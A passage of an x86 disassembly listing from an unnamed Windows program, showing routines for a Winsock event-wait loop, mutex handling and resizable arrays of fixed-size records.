					; sub_407466+2E7p ...
		mov	ecx, [eax+4]
		cmp	edx, ecx
		jnb	short loc_414FFD
		mov	[eax+1Ch], edx
		jmp	short loc_415000
; ---------------------------------------------------------------------------

loc_414FFD:				; CODE XREF: sub_414FF1+5j
		mov	[eax+1Ch], ecx

loc_415000:				; CODE XREF: sub_414FF1+Aj
		and	dword ptr [eax+20h], 0
		mov	[eax+18h], edx
		retn
sub_414FF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_415008	proc near		; CODE XREF: sub_407466+21Bp
					; sub_409BDA+185p ...
		mov	eax, [ecx+18h]
		sub	eax, [ecx+20h]
		mov	edx, [ecx+4]
		cmp	eax, edx
		jge	short loc_415017
		mov	edx, eax

loc_415017:				; CODE XREF: sub_415008+Bj
		push	edx
		call	sub_41D727
		pop	ecx
		retn
sub_415008	endp


; =============== S U B	R O U T	I N E =======================================



sub_41501F	proc near		; CODE XREF: sub_407466+211p
					; sub_409BDA+175p ...
		push	esi
		mov	esi, eax
		mov	ecx, esi
		call	sub_415008
		push	eax
		push	dword ptr [esi+14h]
		push	dword ptr [esi]
		call	sub_41BC60
		add	esp, 0Ch
		mov	ecx, esi
		call	sub_415008
		cmp	eax, [esi+4]
		jge	short loc_415079
		push	edi
		mov	ecx, esi
		call	sub_415008
		mov	ecx, [esi+4]
		mov	edi, [esi+14h]
		sub	ecx, eax
		mov	[esi+0Ch], ecx
		mov	ecx, esi
		call	sub_415008
		mov	ecx, [esi+8]
		sub	ecx, eax
		push	ecx
		mov	ecx, esi
		call	sub_415008
		add	eax, edi
		push	eax
		push	edi
		call	sub_41BC60
		add	esp, 0Ch
		pop	edi
		jmp	short loc_41507D
; ---------------------------------------------------------------------------

loc_415079:				; CODE XREF: sub_41501F+22j
		and	dword ptr [esi+0Ch], 0

loc_41507D:				; CODE XREF: sub_41501F+58j
		mov	eax, [esi+18h]
		sub	eax, [esi+1Ch]
		jnz	short loc_41508F
		call	sub_415093
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41508F:				; CODE XREF: sub_41501F+64j
		xor	eax, eax
		pop	esi
		retn
sub_41501F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415093	proc near		; CODE XREF: sub_41501F+66p
		mov	ecx, esi
		call	sub_415008
		and	dword ptr [esi+18h], 0
		sub	[esi+4], eax
		mov	[esi+20h], eax
		retn
sub_415093	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150A5	proc near		; CODE XREF: sub_407431+6p
					; sub_40C31C+15p ...
		mov	eax, offset loc_427BE9
		call	sub_41E550
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		xor	ebx, ebx
		mov	[edi+4], ebx
		lea	esi, [edi+10h]
		mov	dword ptr [edi], offset	off_430B90
		call	sub_4099E5
		mov	[edi+18h], ebx
		mov	[edi+1Ch], ebx
		mov	[edi+20h], ebx
		mov	[edi+28h], ebx
		mov	[edi+2Ch], ebx
		mov	[edi+30h], ebx
		mov	eax, [ebp+0Ch]
		mov	[edi+3Ch], ebx
		mov	[edi+40h], ebx
		mov	[edi+44h], ebx
		mov	[edi+48h], ebx
		mov	[edi+150h], eax
		call	ds:dword_4292C8	; WSACreateEvent
		mov	esi, edi
		mov	[edi+14Ch], eax
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_4150A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415119	proc near		; DATA XREF: .text:00430B94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_415135
		test	[esp+4+arg_0], 1
		jz	short loc_41512F
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_41512F:				; CODE XREF: sub_415119+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_415119	endp


; =============== S U B	R O U T	I N E =======================================



sub_415135	proc near		; CODE XREF: sub_407461j sub_40C37B+Fj ...
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	0FFFFFFFFh
		push	dword ptr [edi+10h]
		mov	dword ptr [edi], offset	off_430B90
		call	ds:dword_429128	; WaitForSingleObject
		mov	esi, [edi+28h]
		jmp	short loc_415158
; ---------------------------------------------------------------------------

loc_415150:				; CODE XREF: sub_415135+26j
		call	sub_414EA3
		add	esi, 24h

loc_415158:				; CODE XREF: sub_415135+19j
		cmp	esi, [edi+2Ch]
		jnz	short loc_415150
		mov	esi, [edi+18h]
		jmp	short loc_415171
; ---------------------------------------------------------------------------

loc_415162:				; CODE XREF: sub_415135+3Fj
		push	3
		mov	eax, esi
		call	sub_414D44
		add	esi, 574h

loc_415171:				; CODE XREF: sub_415135+2Bj
		cmp	esi, [edi+1Ch]
		jnz	short loc_415162
		push	dword ptr [edi+14Ch]
		mov	ebx, ds:dword_4290F0
		call	ebx	; CloseHandle
		push	dword ptr [edi+10h]
		call	ds:dword_429138	; ReleaseMutex
		lea	esi, [edi+38h]
		call	sub_413A1C
		lea	esi, [edi+24h]
		call	sub_413A1C
		lea	esi, [edi+14h]
		call	sub_413A1C
		push	dword ptr [edi+10h]
		call	ebx	; CloseHandle
		mov	ecx, edi
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_416AA6
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151B4	proc near		; CODE XREF: sub_407DB9+39p
					; sub_40C38F+79p ...
		push	0
		push	0
		push	12h
		push	dword ptr [esi+8]
		call	ds:dword_4291FC	; PostThreadMessageA
		cmp	dword ptr [esi+48h], 0
		jnz	short loc_4151D1
		push	dword ptr [esi+14Ch]
		jmp	short loc_4151D4
; ---------------------------------------------------------------------------

loc_4151D1:				; CODE XREF: sub_4151B4+13j
		push	dword ptr [esi+4Ch]

loc_4151D4:				; CODE XREF: sub_4151B4+1Bj
		call	ds:dword_42910C	; SetEvent
		retn
sub_4151B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151DB	proc near		; CODE XREF: sub_4153A7+109p
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		xor	ebx, ebx
		cmp	[esi+48h], ebx
		jle	short loc_415204
		push	edi
		lea	edi, [esi+4Ch]

loc_4151F2:				; CODE XREF: sub_4151DB+26j
		push	dword ptr [edi]
		call	ds:dword_42910C	; SetEvent
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+48h]
		jl	short loc_4151F2
		pop	edi

loc_415204:				; CODE XREF: sub_4151DB+11j
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		pop	ebx
		retn
sub_4151DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41520F	proc near		; CODE XREF: sub_407DB9+64p
					; sub_407DB9+C1p ...

var_34		= byte ptr -34h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [ebx+10h]
		mov	esi, eax
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, [ebx+48h]
		cmp	eax, 40h
		jl	short loc_415232
		xor	esi, esi
		jmp	loc_4152D2
; ---------------------------------------------------------------------------

loc_415232:				; CODE XREF: sub_41520F+1Aj
		test	eax, eax
		jnz	short loc_41523E
		push	dword ptr [ebx+14Ch]
		jmp	short loc_415241
; ---------------------------------------------------------------------------

loc_41523E:				; CODE XREF: sub_41520F+25j
		push	dword ptr [ebx+4Ch]

loc_415241:				; CODE XREF: sub_41520F+2Dj
		call	ds:dword_42910C	; SetEvent
		xor	edx, edx
		cmp	[ebx+48h], edx
		jbe	short loc_41526B
		mov	eax, [ebx+18h]
		mov	ecx, [esi+458h]
		add	eax, 458h

loc_41525C:				; CODE XREF: sub_41520F+5Aj
		cmp	[eax], ecx
		jz	short loc_4152CF
		inc	edx
		add	eax, 574h
		cmp	edx, [ebx+48h]
		jb	short loc_41525C

loc_41526B:				; CODE XREF: sub_41520F+3Dj
		push	edi
		push	esi
		lea	eax, [ebx+14h]
		call	sub_4154DA
		lea	eax, [ebp+var_34]
		call	sub_414E89
		mov	edi, [ebx+150h]
		mov	esi, eax
		call	sub_414EC6
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+24h]
		push	eax
		call	sub_415542
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebx+38h]
		call	sub_4155A8
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+1Ch]
		mov	esi, ebx
		call	sub_415362
		push	dword ptr [ebx+10h]
		inc	dword ptr [ebx+48h]
		call	ds:dword_429138	; ReleaseMutex
		xor	eax, eax
		inc	eax
		pop	edi

loc_4152CC:				; CODE XREF: sub_41520F+CEj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4152CF:				; CODE XREF: sub_41520F+4Fj
		xor	esi, esi
		inc	esi

loc_4152D2:				; CODE XREF: sub_41520F+1Ej
		push	dword ptr [ebx+10h]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, esi
		jmp	short loc_4152CC
sub_41520F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152DF	proc near		; CODE XREF: sub_40E47E+3Cp
					; sub_4153A7+F4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		call	dword ptr [eax+20h]
		mov	esi, [edi+34h]
		imul	esi, 574h
		add	esi, [edi+18h]
		cmp	[ebp+arg_0], 0
		jz	short loc_415305
		push	3
		mov	eax, esi
		call	sub_414D44

loc_415305:				; CODE XREF: sub_4152DF+1Bj
		push	ebx
		push	esi
		lea	esi, [edi+14h]
		lea	ebx, [ebp+arg_0]
		call	sub_41551D
		mov	eax, [edi+34h]
		mov	ecx, [edi+28h]
		lea	eax, [eax+eax*8]
		lea	esi, [ecx+eax*4]
		call	sub_414EA3
		push	esi
		lea	esi, [edi+24h]
		lea	ebx, [ebp+arg_0]
		call	sub_415589
		mov	eax, [edi+34h]
		shl	eax, 4
		add	eax, [edi+3Ch]
		lea	esi, [edi+38h]
		push	eax
		lea	ebx, [ebp+arg_0]
		call	sub_4155EB
		dec	dword ptr [edi+48h]
		pop	ebx
		jnz	short loc_415356
		push	dword ptr [edi+14Ch]
		call	ds:dword_429114	; ResetEvent

loc_415356:				; CODE XREF: sub_4152DF+69j
		mov	esi, edi
		call	sub_415362
		pop	esi
		pop	ebp
		retn	4
sub_4152DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415362	proc near		; CODE XREF: sub_41520F+A8p
					; sub_4152DF+79p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		lea	edi, [esi+4Ch]

loc_415370:				; CODE XREF: sub_415362+3Fj
		lea	eax, [esi+14h]
		call	sub_4154C2
		cmp	[ebp+var_4], eax
		jnb	short loc_41538C
		mov	eax, [esi+18h]
		add	eax, ebx
		mov	eax, [eax+46Ch]
		mov	[edi], eax
		jmp	short loc_41538F
; ---------------------------------------------------------------------------

loc_41538C:				; CODE XREF: sub_415362+19j
		and	dword ptr [edi], 0

loc_41538F:				; CODE XREF: sub_415362+28j
		inc	[ebp+var_4]
		add	ebx, 574h
		add	edi, 4
		cmp	ebx, 15D00h
		jb	short loc_415370
		pop	edi
		pop	ebx
		leave
		retn
sub_415362	endp


; =============== S U B	R O U T	I N E =======================================



sub_4153A7	proc near		; DATA XREF: .text:off_430048o
					; .text:off_430530o ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h

		sub	esp, 48h
		push	ebx
		mov	ebx, ds:dword_429128
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx

loc_4153B6:				; CODE XREF: sub_4153A7+42j
					; sub_4153A7+102j ...
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		lea	eax, [esp+68h+var_48]
		push	eax
		call	ds:dword_429230	; PeekMessageA
		test	eax, eax
		jz	short loc_4153D8
		cmp	[esp+58h+var_44], 12h
		jz	loc_4154BA

loc_4153D8:				; CODE XREF: sub_4153A7+24j
		mov	eax, [ebp+48h]
		cmp	eax, esi
		jnz	short loc_4153EB
		push	0FFFFFFFFh
		push	dword ptr [ebp+14Ch]
		call	ebx	; WaitForSingleObject
		jmp	short loc_4153B6
; ---------------------------------------------------------------------------

loc_4153EB:				; CODE XREF: sub_4153A7+36j
		push	esi
		push	3E8h
		push	esi
		lea	ecx, [ebp+4Ch]
		push	ecx
		push	eax
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		mov	[ebp+34h], eax
		jz	loc_4154AE
		push	0FFFFFFFFh
		push	dword ptr [ebp+10h]
		call	ebx	; WaitForSingleObject
		call	ds:dword_429290	; WSAGetLastError
		mov	edi, [ebp+34h]
		imul	edi, 574h
		add	edi, [ebp+18h]
		lea	eax, [esp+58h+var_2C]
		push	eax
		call	sub_414C04
		mov	eax, [ebp+0]
		sub	esp, 2Ch
		push	0Bh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+84h+var_2C]
		rep movsd
		mov	ecx, ebp
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jz	short loc_415497
		test	[esp+58h+var_2C], 2
		jz	short loc_415457
		mov	eax, [ebp+0]
		mov	ecx, ebp
		call	dword ptr [eax+10h]

loc_415457:				; CODE XREF: sub_4153A7+A6j
		test	[esp+58h+var_2C], 1
		jz	short loc_415466
		mov	eax, [ebp+0]
		mov	ecx, ebp
		call	dword ptr [eax+14h]

loc_415466:				; CODE XREF: sub_4153A7+B5j
		test	[esp+58h+var_2C], 10h
		jz	short loc_415474
		cmp	[esp+58h+var_18], 0
		jnz	short loc_415497

loc_415474:				; CODE XREF: sub_4153A7+C4j
		test	[esp+58h+var_2C], 20h
		jz	short loc_415485
		mov	eax, [ebp+0]
		mov	ecx, ebp
		call	dword ptr [eax+18h]
		jmp	short loc_415497
; ---------------------------------------------------------------------------

loc_415485:				; CODE XREF: sub_4153A7+D2j
		mov	eax, [ebp+34h]
		shl	eax, 4
		add	eax, [ebp+3Ch]
		call	sub_416B46
		test	eax, eax
		jz	short loc_4154A0

loc_415497:				; CODE XREF: sub_4153A7+9Fj
					; sub_4153A7+CBj ...
		mov	edi, ebp
		push	1
		call	sub_4152DF

loc_4154A0:				; CODE XREF: sub_4153A7+EEj
		push	dword ptr [ebp+10h]
		call	ds:dword_429138	; ReleaseMutex
		jmp	loc_4153B6
; ---------------------------------------------------------------------------

loc_4154AE:				; CODE XREF: sub_4153A7+5Ej
		mov	esi, ebp
		call	sub_4151DB
		jmp	loc_4153B6
; ---------------------------------------------------------------------------

loc_4154BA:				; CODE XREF: sub_4153A7+2Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 48h
		retn
sub_4153A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154C2	proc near		; CODE XREF: sub_415362+11p
					; sub_4154DA+10p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4154CC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4154CC:				; CODE XREF: sub_4154C2+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		cdq
		mov	ecx, 574h
		idiv	ecx
		retn
sub_4154C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154DA	proc near		; CODE XREF: sub_41520F+61p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, eax
		call	sub_41560A
		mov	esi, eax
		mov	eax, edi
		call	sub_4154C2
		cmp	eax, esi
		jnb	short loc_415506
		push	[ebp+arg_0]
		push	1
		push	dword ptr [edi+8]
		push	edi
		call	sub_415665
		mov	[edi+8], eax
		jmp	short loc_415517
; ---------------------------------------------------------------------------

loc_415506:				; CODE XREF: sub_4154DA+17j
		mov	eax, [edi+8]
		push	ebx
		push	[ebp+arg_0]
		lea	ebx, [ebp+arg_0]
		push	eax
		call	sub_415622
		pop	ebx

loc_415517:				; CODE XREF: sub_4154DA+2Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_4154DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41551D	proc near		; CODE XREF: sub_4152DF+2Ep

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		push	edi
		push	dword ptr [esi+8]
		lea	edx, [edi+574h]
		call	sub_415D2A
		add	dword ptr [esi+8], 0FFFFFA8Ch
		pop	ecx
		pop	ecx
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	4
sub_41551D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415542	proc near		; CODE XREF: sub_41520F+83p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	eax, ebx
		call	sub_4156A2
		mov	esi, eax
		mov	eax, ebx
		call	sub_41568C
		cmp	esi, eax
		push	[ebp+arg_4]
		jnb	short loc_415573
		mov	edi, [ebx+8]
		xor	esi, esi
		push	ebx
		inc	esi
		call	sub_4156F9
		mov	[ebx+8], eax
		jmp	short loc_415582
; ---------------------------------------------------------------------------

loc_415573:				; CODE XREF: sub_415542+1Ej
		mov	ebx, [ebx+8]
		mov	edi, [ebp+arg_0]
		push	ebx
		lea	ebx, [ebp+arg_4]
		call	sub_4156B8

loc_415582:				; CODE XREF: sub_415542+2Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_415542	endp


; =============== S U B	R O U T	I N E =======================================



sub_415589	proc near		; CODE XREF: sub_4152DF+4Bp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		push	edi
		push	dword ptr [esi+8]
		lea	eax, [edi+24h]
		call	sub_415D41
		add	dword ptr [esi+8], 0FFFFFFDCh
		pop	ecx
		pop	ecx
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	4
sub_415589	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155A8	proc near		; CODE XREF: sub_41520F+9Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, eax
		call	sub_41572A
		mov	esi, eax
		mov	eax, edi
		call	sub_415717
		cmp	esi, eax
		jnb	short loc_4155D4
		push	[ebp+arg_0]
		push	1
		push	dword ptr [edi+8]
		push	edi
		call	sub_415776
		mov	[edi+8], eax
		jmp	short loc_4155E5
; ---------------------------------------------------------------------------

loc_4155D4:				; CODE XREF: sub_4155A8+17j
		mov	eax, [edi+8]
		push	ebx
		push	[ebp+arg_0]
		lea	ebx, [ebp+arg_0]
		push	eax
		call	sub_41573D
		pop	ebx

loc_4155E5:				; CODE XREF: sub_4155A8+2Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_4155A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4155EB	proc near		; CODE XREF: sub_4152DF+60p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		push	edi
		push	dword ptr [esi+8]
		lea	eax, [edi+10h]
		call	sub_415D58
		add	dword ptr [esi+8], 0FFFFFFF0h
		pop	ecx
		pop	ecx
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	4
sub_4155EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41560A	proc near		; CODE XREF: sub_4154DA+7p
					; sub_41579A+29p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_415614
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415614:				; CODE XREF: sub_41560A+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		cdq
		mov	ecx, 574h
		idiv	ecx
		retn
sub_41560A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415622	proc near		; CODE XREF: sub_4154DA+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_4154C2
		test	eax, eax
		jnz	short loc_415632
		xor	esi, esi
		jmp	short loc_415643
; ---------------------------------------------------------------------------

loc_415632:				; CODE XREF: sub_415622+Aj
		mov	eax, [esp+4+arg_0]
		sub	eax, [edi+4]
		mov	ecx, 574h
		cdq
		idiv	ecx
		mov	esi, eax

loc_415643:				; CODE XREF: sub_415622+Ej
		mov	edx, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_41579A
		imul	esi, 574h
		add	esi, [edi+4]
		mov	eax, ebx
		mov	[ebx], esi
		pop	esi
		retn	8
sub_415622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415665	proc near		; CODE XREF: sub_4154DA+22p
					; sub_41579A+C0p ...

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415E8D
		mov	eax, [ebp+arg_8]
		imul	eax, 574h
		add	esp, 0Ch
		add	eax, [ebp+arg_4]
		pop	ebp
		retn	10h
sub_415665	endp


; =============== S U B	R O U T	I N E =======================================



sub_41568C	proc near		; CODE XREF: sub_415542+14p
					; sub_415989+21p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_415696
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415696:				; CODE XREF: sub_41568C+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_41568C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156A2	proc near		; CODE XREF: sub_415542+Bp
					; sub_4156B8+3p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4156AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4156AC:				; CODE XREF: sub_4156A2+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_4156A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156B8	proc near		; CODE XREF: sub_415542+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_4156A2
		test	eax, eax
		jnz	short loc_4156C8
		xor	esi, esi
		jmp	short loc_4156D7
; ---------------------------------------------------------------------------

loc_4156C8:				; CODE XREF: sub_4156B8+Aj
		mov	eax, [esp+4+arg_0]
		sub	eax, [edi+4]
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax

loc_4156D7:				; CODE XREF: sub_4156B8+Ej
		mov	edx, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_415989
		mov	ecx, [edi+4]
		lea	eax, [esi+esi*8]
		lea	eax, [ecx+eax*4]
		mov	[ebx], eax
		mov	eax, ebx
		pop	esi
		retn	8
sub_4156B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156F9	proc near		; CODE XREF: sub_415542+27p
					; sub_415989+BEp ...

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		mov	eax, esi
		push	[ebp+arg_4]
		push	edi
		call	sub_415EB7
		lea	eax, [esi+esi*8]
		add	esp, 0Ch
		lea	eax, [edi+eax*4]
		pop	ebp
		retn	8
sub_4156F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415717	proc near		; CODE XREF: sub_4155A8+10p
					; sub_415B6E+20p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_415721
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415721:				; CODE XREF: sub_415717+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		sar	eax, 4
		retn
sub_415717	endp


; =============== S U B	R O U T	I N E =======================================



sub_41572A	proc near		; CODE XREF: sub_4155A8+7p
					; sub_41573D+3p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_415734
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415734:				; CODE XREF: sub_41572A+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		sar	eax, 4
		retn
sub_41572A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41573D	proc near		; CODE XREF: sub_4155A8+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_41572A
		test	eax, eax
		jnz	short loc_41574D
		xor	esi, esi
		jmp	short loc_415757
; ---------------------------------------------------------------------------

loc_41574D:				; CODE XREF: sub_41573D+Aj
		mov	esi, [esp+4+arg_0]
		sub	esi, [edi+4]
		sar	esi, 4

loc_415757:				; CODE XREF: sub_41573D+Ej
		mov	edx, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_415B6E
		shl	esi, 4
		add	esi, [edi+4]
		mov	eax, ebx
		mov	[ebx], esi
		pop	esi
		retn	8
sub_41573D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415776	proc near		; CODE XREF: sub_4155A8+22p
					; sub_415B6E+B1p ...

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415EDC
		mov	eax, [ebp+arg_8]
		shl	eax, 4
		add	esp, 0Ch
		add	eax, [ebp+arg_4]
		pop	ebp
		retn	10h
sub_415776	endp


; =============== S U B	R O U T	I N E =======================================



sub_41579A	proc near		; CODE XREF: sub_415622+2Dp
		mov	eax, offset loc_427BB6
		call	sub_41E550
		sub	esp, 578h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	esi, edx
		mov	ecx, 15Dh
		lea	edi, [ebp-584h]
		mov	eax, ebx
		mov	[ebp-10h], esp
		rep movsd
		call	sub_41560A
		mov	esi, [ebp+0Ch]
		test	esi, esi
		mov	edi, eax
		jz	loc_415978
		mov	eax, ebx
		call	sub_4154C2
		mov	ecx, 2EF210h
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_4157EC
		call	sub_40C38F

loc_4157EC:				; CODE XREF: sub_41579A+4Bj
		mov	eax, ebx
		call	sub_4154C2
		add	eax, esi
		cmp	edi, eax
		jnb	loc_4158CA
		mov	eax, edi
		shr	eax, 1
		mov	ecx, 2EF210h
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_415810
		xor	edi, edi
		jmp	short loc_415812
; ---------------------------------------------------------------------------

loc_415810:				; CODE XREF: sub_41579A+70j
		add	edi, eax

loc_415812:				; CODE XREF: sub_41579A+74j
		mov	eax, ebx
		call	sub_4154C2
		add	eax, esi
		cmp	edi, eax
		jnb	short loc_41582A
		mov	eax, ebx
		call	sub_4154C2
		mov	edi, eax
		add	edi, esi

loc_41582A:				; CODE XREF: sub_41579A+83j
		mov	eax, edi
		imul	eax, 574h
		push	eax
		call	sub_41BA91
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		mov	ecx, [ebx+4]
		push	dword ptr [ebp+8]
		mov	[ebp+0Ch], eax
		call	sub_415F79
		add	esp, 0Ch
		lea	ecx, [ebp-584h]
		push	ecx
		push	esi
		push	eax
		push	ebx
		call	sub_415665
		mov	ecx, [ebx+8]
		push	dword ptr [ebp+8]
		push	ecx
		mov	ecx, [ebp+8]
		call	sub_415F79
		pop	ecx
		pop	ecx
		mov	eax, ebx
		call	sub_4154C2
		add	esi, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_415897
		mov	ecx, [ebx+8]
		jmp	short loc_41588A
; ---------------------------------------------------------------------------

loc_415885:				; CODE XREF: sub_41579A+F2j
		add	eax, 574h

loc_41588A:				; CODE XREF: sub_41579A+E9j
		cmp	eax, ecx
		jnz	short loc_415885
		push	dword ptr [ebx+4]
		call	sub_41C7B8
		pop	ecx

loc_415897:				; CODE XREF: sub_41579A+E4j
		mov	eax, [ebp+0Ch]
		imul	edi, 574h
		imul	esi, 574h
		add	edi, eax
		add	esi, eax
		mov	[ebx+0Ch], edi
		mov	[ebx+8], esi
		mov	[ebx+4], eax
		jmp	loc_415978
; ---------------------------------------------------------------------------

loc_4158B8:				; DATA XREF: .text:00431780o
		push	dword ptr [ebp+0Ch]
		call	sub_41C7B8
		pop	ecx

loc_4158C1:				; DATA XREF: .text:00431790o
		push	0
		push	0
		call	sub_41E4BE

loc_4158CA:				; CODE XREF: sub_41579A+5Dj
		mov	ecx, [ebx+8]
		mov	eax, ecx
		sub	eax, [ebp+8]
		mov	edi, 574h
		cdq
		idiv	edi
		push	dword ptr [ebp+8]
		mov	[ebp+0Ch], ecx
		push	ecx
		cmp	eax, esi
		jnb	short loc_415940
		mov	edx, [ebp+8]
		mov	edi, esi
		imul	edi, 574h
		lea	eax, [edi+edx]
		mov	ecx, edx
		call	sub_415F79
		pop	ecx
		mov	dword ptr [ebp-4], 2
		mov	eax, [ebx+8]
		sub	eax, [ebp+8]
		pop	ecx
